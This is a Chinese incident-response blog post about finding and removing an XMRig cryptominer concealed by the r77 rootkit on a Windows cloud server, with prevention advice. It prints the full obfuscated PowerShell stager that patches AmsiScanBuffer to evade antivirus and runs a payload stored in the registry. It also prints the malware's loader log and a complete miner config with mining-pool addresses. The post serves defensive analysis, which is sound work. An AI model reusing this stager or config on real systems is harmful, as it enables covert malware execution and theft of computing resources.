XMRig挖矿病毒应急处置【Rootkit】

admin 2024年1月14日20:41:59评论96 views字数 14142阅读47分8秒阅读模式

01

背景

通过查看态势感知告警信息,发现IP为11.xx.xx.136的资产存在大量的中危告警,攻击方式有暴力破解【中危】、恶意IP【中危】、僵木蠕【中危】、挖矿软件【中危】、主机对外攻击【中危】、风险软件【低危】等,经初步判断中低危攻击方式均由挖矿病毒引起。

XMRig挖矿病毒应急处置【Rootkit】

通过与甲方沟通,得知该IP资产位于本地云的虚拟机。经沟通好相关风险和配合需求后,开始对该主机进行处置。

02

挖矿病毒发现过程

登录该服务器查看CPU状态,发现CPU占用率峰值达100%,初步查看详细信息,发现CPU占用较高的均为任务管理器等正常程序。

XMRig挖矿病毒应急处置【Rootkit】

查看用户列表,发现存在有adm和adm$异常账户。

XMRig挖矿病毒应急处置【Rootkit】

在任务计划程序中查看定时计划任务,发现存在$77svc32和$77svc64的定时计划。

XMRig挖矿病毒应急处置【Rootkit】

定时计划任务的操作为执行powershell脚本,powershell脚本已做免杀。

"function Local:QQzZlnhXnaIT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lnYrrZaZIvgFzh,[Parameter(Position=1)][Type]$UGkgctHYZu)$UgFFicoQQls=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'ef'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+'D'+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+'m'+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'g'+[Char](97)+''+[Char](116)+'eT'+[Char](121)+''+[Char](112)+''+'e'+'','Cl'+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c'+','+''+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+''+','+''+[Char](65)+'ns'+'i'+'Cl'+'a'+'s'+[Char](115)+''+[Char](44)+'Aut'+[Char](111)+'C'+[Char](108)+''+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$UgFFicoQQls.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+'e'+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+'S'+[Char](105)+''+'g'+''+[Char](44)+'P'+[Char](117)+''+'b'+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$lnYrrZaZIvgFzh).SetImplementationFlags('R'+[Char](117)+'nti'+'m'+''+'e'+','+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+'ed');$UgFFicoQQls.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+'l'+'i'+'c'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+'S'+''+'i'+'g,N'+'e'+''+'w'+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+','+''+'V'+'i'+[Char](114)+'tu'+[Char](97)+'l',$UGkgctHYZu,$lnYrrZaZIvgFzh).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $UgFFicoQQls.CreateType();}$DMxrasjfUrpLl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType('Mi'+'c'+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+'in'+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'D'+''+[Char](77)+'x'+'r'+''+'a'+''+'s'+''+[Char](106)+''+[Char](102)+''+[Char](85)+''+[Char](114)+''+[Char](112)+''+'L'+'l');$ilVJoRiAErFDwm=$DMxrasjfUrpLl.GetMethod('i'+'l'+''+[Char](86)+''+'J'+'o'+[Char](82)+''+[Char](105)+'A'+[Char](69)+''+[Char](114)+''+[Char](70)+'D'+'w'+''+'m'+'',[Reflection.BindingFlags]''+[Char](80)+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fFPtQwYZzpYDGFNbxTQ=QQzZlnhXnaIT @([String])([IntPtr]);$rHvZTAyOJbrbomUrgRoihJ=QQzZlnhXnaIT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LGzOBGhhdGg=$DMxrasjfUrpLl.GetMethod('Ge'+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+'u'+'l'+'e'+''+[Char](72)+'a'+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+'n'+''+'e'+''+'l'+'3'+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$FMuiNrkHoJYyuM=$ilVJoRiAErFDwm.Invoke($Null,@([Object]$LGzOBGhhdGg,[Object](''+'L'+''+'o'+''+[Char](97)+''+[Char](100)+''+'L'+''+'i'+''+'b'+''+[Char](114)+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$rJzTMEpPdnNzGUvkr=$ilVJoRiAErFDwm.Invoke($Null,@([Object]$LGzOBGhhdGg,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+'l'+'P'+''+'r'+''+'o'+'te'+'c'+''+'t'+'')));$qaWcIwF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FMuiNrkHoJYyuM,$fFPtQwYZzpYDGFNbxTQ).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+'.d'+'l'+'l');$VUAaxrNYPHnCpQULF=$ilVJoRiAErFDwm.Invoke($Null,@([Object]$qaWcIwF,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+'n'+''+[Char](66)+'u'+[Char](102)+'fer')));$oKWsvUplHy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rJzTMEpPdnNzGUvkr,$rHvZTAyOJbrbomUrgRoihJ).Invoke($VUAaxrNYPHnCpQULF,[uint32]8,4,[ref]$oKWsvUplHy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$VUAaxrNYPHnCpQULF,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rJzTMEpPdnNzGUvkr,$rHvZTAyOJbrbomUrgRoihJ).Invoke($VUAaxrNYPHnCpQULF,[uint32]8,0x20,[ref]$oKWsvUplHy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'FT'+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+'$'+'7'+'7'+''+'s'+''+[Char](116)+'a'+'g'+'er')).EntryPoint.Invoke($Null,$Null)

查看端口开放信息,发现708、757端口对外开放。

XMRig挖矿病毒应急处置【Rootkit】

通过相关特征及网上信息收集,基本上可以判断该主机受到挖矿病毒攻击,但是未发现挖矿病毒具体路径。

03

挖矿病毒处置

挖矿病毒通过Rootkit将注册表、文件、目录、进程等进行了隐藏。这里可以通过使用TestConsole.exe工具可以将隐藏文件还原。TestConsole.exe工具包含于r77-rootkit工具包。

该工具包介绍如下:R77 是一个 Ring 3 rootkit,它可以隐藏文件、目录、注册表项和值、服务、TCP/UDP连接、命名管道、计划任务能。

官网地址:https://bytecode77.com/r77-rootkit

通过运行TestConsole.exe,在run菜单栏下执行install.exe和uninstall.exe即可还原隐藏文件。

XMRig挖矿病毒应急处置【Rootkit】

解除文件隐藏后,发现以下隐藏的文件/信息,我们要着重对以下隐藏的文件/信息进行分析,以免存有残留使得挖矿病毒死灰复燃。

隐藏的PID:

XMRig挖矿病毒应急处置【Rootkit】

隐藏的程序:

XMRig挖矿病毒应急处置【Rootkit】

隐藏的路径(重点):

XMRig挖矿病毒应急处置【Rootkit】

隐藏的服务:

XMRig挖矿病毒应急处置【Rootkit】

同时在进程中发现存在了$77_前缀的异常程序。

XMRig挖矿病毒应急处置【Rootkit】

在C:PerfLogssys文件夹下发现挖矿病毒文件。

XMRig挖矿病毒应急处置【Rootkit】

在任务管理器中发现“Oracle services”占用CPU高达51.5%,于是结束该进程。

XMRig挖矿病毒应急处置【Rootkit】

通过定位,发现运行有C:PerfLogssys文件夹下的程序。

XMRig挖矿病毒应急处置【Rootkit】

使用火绒将C:PerfLogssys文件夹进行粉碎处理。切记一定要将上面发现到的程序、服务、进程等删除干净。有进程也注入到了scvhost.exe的进程中,需要根据端口绑定的pid在任务管理器中锁定scvhost.exe,将该进程结束掉。

XMRig挖矿病毒应急处置【Rootkit】

再次查看端口开放信息,发现708、757端口已不在对外开放。

XMRig挖矿病毒应急处置【Rootkit】

在定时计划任务中将$77svc32和$77svc64的定时计划删除。

XMRig挖矿病毒应急处置【Rootkit】

在用户列表中将adm账户删除。

XMRig挖矿病毒应急处置【Rootkit】

并在用户目录下将adm用户文件删除。

XMRig挖矿病毒应急处置【Rootkit】

由于adm$账户无法删除,于是设定该密码口令为强口令,并设置“用户不能更改密码”、“用户已禁用”。

XMRig挖矿病毒应急处置【Rootkit】

修改该主机administrator账户口令满足复杂度要求,并更新、启用火绒杀毒软件。

经24小时后复查,未发现上述挖矿病毒运行特征。至此,该主机挖矿病毒已处置完成。

04

挖矿病毒简要分析

查看C:PerfLogsSys文件夹中挖矿病毒的相关配置文件并分析:

1. $77_ExecuteOracle.exe.config

XMRig挖矿病毒应急处置【Rootkit】

这是一个XML格式的配置文件,通常用于配置 .NET Framework 应用程序。其中包含了应用程序的启动信息和一些运行时配置指令。

2. $77loader.log

11/01/2024 14:42:18 ColorDC Script starting11/01/2024 14:42:18 ColorM Checking DNS11/01/2024 14:42:29 ColorG   --the server address is set 5.133.65.5311/01/2024 14:42:30 ColorM Search proxy server file11/01/2024 14:42:30 ColorG   --Found in C:PerfLogsSys11/01/2024 14:42:30 ColorG   --found in C:WindowsSoftwareDistribution11/01/2024 14:42:30 ColorM Check direct access to 5.133.65.5311/01/2024 14:42:32 ColorR   --no found direct access via HTTPS11/01/2024 14:42:32 ColorR   --no found direct access via HTTP11/01/2024 14:42:32 ColorM Check working11/01/2024 14:42:33 ColorM Search open ports11/01/2024 14:54:48 ColorG   --757 found 177 potential proxys11/01/2024 14:54:48 ColorM Cleaning11/01/2024 14:54:48 ColorG   --cleaning is complete11/01/2024 14:54:48 ColorM Adding custom files to hide, if necessary11/01/2024 14:54:48 ColorG   --not enable11/01/2024 14:54:48 ColorM Adding a user, if necessary11/01/2024 14:54:55 ColorG   --complete11/01/2024 14:54:55 ColorM Adding firewall rules, if necessary11/01/2024 14:54:55 ColorG   --complete11/01/2024 14:54:55 ColorM Checking pools and add proxys, if necessary11/01/2024 14:54:56 ColorG   --complete11/01/2024 14:54:56 ColorM Checking update via proxy11/01/2024 14:55:01 ColorG   --local version 1.2.26.011/01/2024 14:55:01 ColorG   --server version 1.1.72.011/01/2024 14:55:24 ColorR   --no direct downloading RMS, try via proxy11/01/2024 14:55:24 ColorM Checking download RMS via proxy11/01/2024 14:55:27 ColorG   --RMS server version 6.311/01/2024 14:55:27 ColorG   --trying download11/01/2024 14:56:34 ColorG   --file RMS download via 11.16.72.5611/01/2024 14:56:35 ColorM Opening 999 port11/01/2024 14:56:35 ColorG   --complete11/01/2024 14:56:35 ColorDC Next update in 01/11/2024 17:43:15

可以看到它向外连接了5.133.65.53地址,该地址为公共矿池,且每3小时重新启动一次$77_oracle.exe。

XMRig挖矿病毒应急处置【Rootkit】

3. config.json

{    "api": {        "id": null,        "worker-id": null    },    "http": {        "enabled": true,        "host": "0.0.0.0",        "port": 999,        "access-token": null,        "restricted": true    },    "autosave": true,    "background": false,    "colors": true,    "title": true,    "randomx": {        "init": -1,        "init-avx2": -1,        "mode": "auto",        "1gb-pages": false,        "rdmsr": true,        "wrmsr": true,        "cache_qos": false,        "numa": true,        "scratchpad_prefetch_mode": 1    },    "cpu": {        "enabled": true,        "huge-pages": true,        "huge-pages-jit": false,        "hw-aes": null,        "priority": null,        "memory-pool": false,        "yield": true,        "asm": true,        "argon2-impl": null,        "argon2": [0, 1],        "cn": [            [1, 0],            [1, 1]        ],        "rx": [0, 1],        "rx/wow": [0, 1],        "cn/0": false,        "rx/arq": "rx/wow",        "rx/keva": "rx/wow"    },    "log-file": null,    "donate-level": 0,    "donate-over-proxy": 0,    "pools": [        {            "algo": null,            "coin": null,            "url": "11.104.63.49:703",            "user": "Server",            "pass": "x",            "rig-id": null,            "nicehash": true,            "keepalive": false,            "enabled": true,            "tls": true,            "tls-fingerprint": null,            "daemon": false,            "socks5": null,            "self-select": null,            "submit-to-origin": false        },        {            "algo": null,            "coin": null,            "url": "11.104.63.139:703",            "user": "Server",            "pass": "x",            "rig-id": null,            "nicehash": true,            "keepalive": false,            "enabled": true,            "tls": true,            "tls-fingerprint": null,            "daemon": false,            "socks5": null,            "self-select": null,            "submit-to-origin": false        },        {            "algo": null,            "coin": null,            "url": "11.104.66.137:703",            "user": "Server",            "pass": "x",            "rig-id": null,            "nicehash": true,            "keepalive": false,            "enabled": true,            "tls": true,            "tls-fingerprint": null,            "daemon": false,            "socks5": null,            "self-select": null,            "submit-to-origin": false        },        {            "algo": null,            "coin": null,            "url": "11.104.66.148:703",            "user": "Server",            "pass": "x",            "rig-id": null,            "nicehash": true,            "keepalive": false,            "enabled": true,            "tls": true,            "tls-fingerprint": null,            "daemon": false,            "socks5": null,            "self-select": null,            "submit-to-origin": false        },        {            "algo": null,            "coin": null,            "url": "11.104.73.137:703",            "user": "Server",            "pass": "x",            "rig-id": null,            "nicehash": true,            "keepalive": false,            "enabled": true,            "tls": true,            "tls-fingerprint": null,            "daemon": false,            "socks5": null,            "self-select": null,            "submit-to-origin": false        },        {            "algo": null,            "coin": null,            "url": "5.133.65.56:80",            "user": "SERVER",            "pass": "x",            "rig-id": null,            "nicehash": true,            "keepalive": false,            "enabled": true,            "tls": true,            "tls-fingerprint": null,            "daemon": false,            "socks5": null,            "self-select": null,            "submit-to-origin": false        },        {            "algo": null,            "coin": null,            "url": "5.133.65.53:34444",            "user": "SERVER",            "pass": "x",            "rig-id": null,            "nicehash": true,            "keepalive": false,            "enabled": true,            "tls": true,            "tls-fingerprint": null,            "daemon": false,            "socks5": null,            "self-select": null,            "submit-to-origin": false        },        {            "algo": null,            "coin": null,            "url": "5.133.65.54:34444",            "user": "SERVER",            "pass": "x",            "rig-id": null,            "nicehash": true,            "keepalive": false,            "enabled": true,            "tls": true,            "tls-fingerprint": null,            "daemon": false,            "socks5": null,            "self-select": null,            "submit-to-origin": false        },        {            "algo": null,            "coin": null,            "url": "5.133.65.55:34444",            "user": "SERVER",            "pass": "x",            "rig-id": null,            "nicehash": true,            "keepalive": false,            "enabled": true,            "tls": true,            "tls-fingerprint": null,            "daemon": false,            "socks5": null,            "self-select": null,            "submit-to-origin": false        },        {            "algo": null,            "coin": null,            "url": "5.133.65.56:34444",            "user": "SERVER",            "pass": "x",            "rig-id": null,            "nicehash": true,            "keepalive": false,            "enabled": true,            "tls": true,            "tls-fingerprint": null,            "daemon": false,            "socks5": null,            "self-select": null,            "submit-to-origin": false        }    ],    "retries": 5,    "retry-pause": 3,    "print-time": 60,    "dmi": true,    "syslog": false,    "tls": {        "enabled": false,        "protocols": null,        "cert": null,        "cert_key": null,        "ciphers": null,        "ciphersuites": null,        "dhparam": null    },    "dns": {        "ipv6": false,        "ttl": 30    },    "user-agent": null,    "verbose": 0,    "watch": true,    "pause-on-battery": false,    "pause-on-active": false}

可以看到内网中有主机(11.0.0.148等)沦陷为矿池代理服务器,同时还有5.133.65.53、5.133.65.54、5.133.65.55、5.133.65.56等互联网公共矿池。

4. $77_Loader.exe

运行$77_Loader.exe,等待程序运行,可以捕捉到XMRig运行程序,程序截图显示挖矿病毒正在不断的向矿池连接。

XMRig挖矿病毒应急处置【Rootkit】

XMRig,也被称为xmrig挖矿病毒,是一种全球范围内的恶意软件。它主要通过多种途径传播,包括恶意邮件附件、网络下载、漏洞利用和植入攻击者控制的网页等。一旦设备被感染,病毒会利用设备的计算资源进行加密货币挖掘,以获取利益。

XMRig挖矿病毒具有独特的特征和行为。它通过下载脚本并执行来进行挖矿操作,占用CPU资源,导致系统性能下降。此外,XMRig挖矿病毒还可能具有自我保护机制,以避免被杀毒软件和安全工具检测和清除。

为了防止设备受到XMRig挖矿病毒的攻击,用户应采取相应的安全措施。这包括保持操作系统和应用程序的更新,及时安装安全补丁,避免点击可疑链接和下载未知来源的附件,使用可靠的杀毒软件和防火墙等。

如果设备已经感染了XMRig挖矿病毒,可能会出现占用大量资源进行挖矿操作,导致计算机性能下降,操作卡顿,以及资源不足等问题。在这种情况下,应立即采取措施,如断开与网络的连接,使用可靠的杀毒软件进行全盘扫描和清除病毒,更新操作系统和应用程序的补丁,删除可疑文件和定时任务,重置系统的安全设置,加强权限控制,避免应用运行在root用户下,清除病毒留下的痕迹等。

05

总结

该挖矿病毒为xmrig挖矿病毒,通过Rootkit技术隐藏自己的存在,并利用受感染计算机的计算资源进行加密货币挖矿操作,而无需用户的明确许可。Rootkit通常会修改操作系统或系统内核的核心组件,从而在系统层面上隐藏其存在,使其难以被检测和清除。

预防措施:

安装可靠的安全软件:及时更新杀毒软件和防火墙,并进行全面的系统扫描,确保系统不受病毒和木马的感染。

不下载和运行来历不明的文件:尽量不要从未知或不可信任的网站下载和运行任何文件,包括软件、游戏、插件等等。

更新操作系统和应用程序:定期更新操作系统和应用程序,以修复已知漏洞并提高系统安全性。

关注系统性能:如果计算机的性能异常下降,例如卡顿、电力消耗增加和风扇噪音变大等情况,应立即检查是否存在Rootkit挖矿病毒。

不轻易使用管理员权限:限制管理员权限可以减少恶意软件对计算机的攻击范围。

使用强密码认证:使用强密码认证可以提高账户和系统的安全性。

避免访问不安全的网站和链接:避免访问不安全的网站和链接可以减少恶意软件的感染机会。

定期备份重要数据:在计算机受到攻击后,备份的数据可以帮助恢复受影响的文件和系统。

06

彩蛋

以下是和ESET官方对该病毒的邮件回复。

XMRig挖矿病毒应急处置【Rootkit】

原文始发于微信公众号(Matrix1024):XMRig挖矿病毒应急处置【Rootkit】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月14日20:41:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XMRig挖矿病毒应急处置【Rootkit】https://cn-sec.com/archives/2392975.html

发表评论

匿名网友 填写信息